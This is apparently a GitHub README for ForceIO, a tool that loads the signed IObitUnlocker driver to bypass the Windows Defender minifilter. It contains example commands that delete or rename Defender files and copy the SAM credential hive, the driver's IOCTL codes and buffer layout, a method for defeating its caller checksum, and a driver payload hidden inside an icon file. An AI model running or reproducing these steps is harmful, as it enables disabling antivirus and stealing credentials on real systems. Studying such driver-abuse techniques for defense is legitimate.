wesmar/ForceIO

GitHub: wesmar/ForceIO

一款通过加载已签名内核驱动绕过 Windows Minifilter 文件保护机制、强制执行文件删除、移动和复制操作的底层安全研究工具。

Stars: 0 | Forks: 0

# ForceIO **通过已签名内核驱动绕过 Minifilter 执行文件操作 —— 用于删除、移动和复制 Windows 11 上受 WdFilter.sys 保护的文件的独立工具** ## 功能 ForceIO 通过原子 SCM 会话加载已签名内核驱动,并发送单个 `DeviceIoControl` 调用来执行用户模式 API 无法完成的文件操作: ``` ForceIO.exe delete "C:\ProgramData\Microsoft\Windows Defender\Scans\DefenderEcsCache.bin64" [*] DELETE: C:\ProgramData\Microsoft\Windows Defender\Scans\DefenderEcsCache.bin64 [+] Success. ``` `Remove-Item -Force` 在同一路径下返回 **Access denied** —— WdFilter 阻止了该 I/O 请求。 ForceIO 能够将其删除,因为 IOCTL 直接路由至 minifilter 栈下方。 ## 用法 在**提权的命令提示符**(管理员)中运行: ``` ForceIO — minifilter-bypass file operations via signed driver © WESMAR Marek Wesołowski Usage: ForceIO [dest] Commands: delete Force-delete file or directory (bypasses WdFilter) rename Force-rename/move file or directory copy Copy locked file start Load driver only stop Unload driver cleanup Stop driver, remove service, delete temp files ``` ### 示例 ``` :: Delete a WdFilter-protected file ForceIO.exe delete "C:\ProgramData\Microsoft\Windows Defender\Scans\History\Service\Unknown.Log" :: Move a protected directory ForceIO.exe rename "C:\ProgramData\Microsoft\Windows Defender" "C:\ProgramData\Microsoft\Windows Defender_" :: Copy a locked file ForceIO.exe copy "C:\Windows\System32\config\SAM" "C:\Temp\SAM.copy" ``` ## 工作原理 1. **FDI 解压缩** —— 已签名的驱动程序二进制文件通过 LZX 压缩为 CAB 归档文件,并附加到应用程序图标中。在运行时,FDI 在内存中将其解压,并将 `forceio.dat` 写入 `%SystemRoot%`。 2. **原子驱动会话** —— `CreateServiceW` → `StartServiceW` → `DeviceIoControl` → `ControlService(STOP)` → `DeleteService` → `DeleteFileW`。该服务仅在 IOCTL 执行期间存在于注册表中。无任何 `Sleep` 调用。 3. **直接 IOCTL** —— 构造一个包含源路径、目标路径、操作类型和标志的 0x428 字节 `METHOD_BUFFERED` 缓冲区,随后调用 `DeviceIoControl(0x222124)`。 4. **校验和绕过** —— 驱动程序通过对调用进程在磁盘上的 EXE 文件计算两种校验和(XOR 和交替加减法)来验证调用者。构建脚本通过附加修正字节来满足这两个约束条件,且无需修改驱动程序。WHCP Authenticode 签名保持完好。 ## 技术细节 | 项目 | 值 | |------|-------| | 驱动程序 | `IObitUnlocker.sys` v1.3.0.10 (x64, WHCP 签名于 2022-08-17) | | 设备 | `\\.\IObitUnlockerDevice` | | IOCTL | `0x222124` (文件操作), `0x222128` (句柄查询) | | 缓冲区 | 0x428 字节: `SourcePath[264 WCHAR]` + `DestPath[264 WCHAR]` + `OpType` + `Flags` | | 操作 | 1=删除, 2=原始重命名, 3=移动/剪切, 4=复制 | | 校验和目标 | XOR=`0x2B`, ALT=`0x00A88677` (硬编码于 driver+0x3DC7) | | 编译 | `/NODEFAULTLIB`, `/ENTRY:Entry`, `/GS-` — 纯 Win32 API | | 导入 | `kernel32.dll`, `advapi32.dll`, `cabinet.dll` | | 架构 | PE32 (x86) — 通过 `METHOD_BUFFERED` 实现 IOCTL 位宽透明 | ### 为什么不直接修补驱动程序呢? 修改驱动程序中的 4 个字节(在 `+0x3DCC` 和 `+0x3DD6` 处将两个 `jne` 替换为 `NOP NOP`)将完全禁用调用者验证。然而,这会使 WHCP Authenticode 签名失效,并且该驱动程序在启用驱动程序签名强制(Driver Signature Enforcement,即所有受支持的 Windows 配置中的默认设置)时将无法加载。约 87 KB 的 PE overlay 填充是保留原始签名所付出的代价。 ## 从源码构建 需要 **Visual Studio 2026 Enterprise**(MSVC v145,Windows SDK 10.0): ``` cd C:\Projekty\ForceIO .\build.ps1 ``` 构建脚本会: 1. 通过 `makecab` 将驱动程序进行 LZX 压缩,打包为 CAB 归档文件。 2. 将 CAB 文件附加到应用程序图标(`IcoBuilder\kvc.ico` → `ICON\kvc.ico`)。 3. 生成包含图标头字节数的 `src\GenIconSize.h`(FDI 查找偏移量)。 4. 通过 MSBuild 将 `src\ForceIO.vcxproj` 构建为 `Release|Win32`。 5. 计算当前校验和,附加修正字节,并验证是否匹配。 6. 设置确定性时间戳。 输出:`bin\ForceIO.exe` ### 项目布局 ``` ForceIO/ ├── IcoBuilder/ │ ├── kvc.ico Base application icon │ └── forceio.dat Signed driver binary (user-supplied) ├── ICON/ │ └── kvc.ico Combined icon + LZX-CAB payload (built) ├── src/ │ ├── main.c Entry point, CLI dispatch │ ├── DeviceIO.c/.h IOCTL protocol, buffer construction │ ├── DriverSession.c/.h Atomic SCM lifecycle (Begin/End) │ ├── DriverExtract.c/.h FDI in-memory decompression │ ├── Console.c/.h No-CRT console output │ ├── GenIconSize.h Auto-generated icon header size │ ├── Resource.h Resource identifiers │ ├── ForceIO.rc Icon + RCDATA resource │ ├── ForceIO.manifest UAC elevation manifest │ └── ForceIO.vcxproj Visual Studio project (Win32 Release) ├── build.ps1 Full build pipeline + checksum patch └── bin/ └── ForceIO.exe Patched binary ``` ### 驱动程序二进制文件 本仓库**不包含**驱动程序二进制文件 (`IObitUnlocker.sys`)。要构建 ForceIO,请将合法获取的 `IObitUnlocker.sys` v1.3.0.10 副本放置为 `IcoBuilder\forceio.dat`。该驱动程序可在 [IObit Unlocker](https://www.iobit.com/en/iobit-unlocker.php) 免费软件安装程序中找到。 ## 环境要求 - **操作系统:** Windows 10/11 x64 - **权限:** 管理员(创建 SCM 服务需要提权) - **DSE:** 已启用(驱动程序已真正通过 WHCP 签名) - **HVCI:** 兼容(驱动程序在 Hypervisor Code Integrity 下可正常加载) ## 完整分析报告 完整的逆向工程分析报告 —— 包括 IDA 静态分析、CDB 实时反汇编、56 个函数的 IAT 重构、四次失败的绕过尝试、不可约填充(irreducible padding)的数学证明,以及详细的驱动程序架构 —— 已发布于: **https://kvc.pl/research/forceio-minifilter-bypass** ## 免责声明 本软件仅供**授权的安全研究和教育目的**使用,且仅限于您拥有或获得明确书面许可进行测试的系统。作者不对任何损坏或滥用负责。请始终遵守您所在司法管辖区的适用法律。 ## 许可证 MIT — 查看 [LICENSE.md](LICENSE.md) **作者:** Marek Wesołowski (WESMAR) **联系方式:** marek@wesolowski.eu.org **GitHub:** https://github.com/wesmar/ForceIO
标签:AI合规, Linux, 免杀与隐藏, 内核驱动, 客户端加密, 文件操作, 网络协议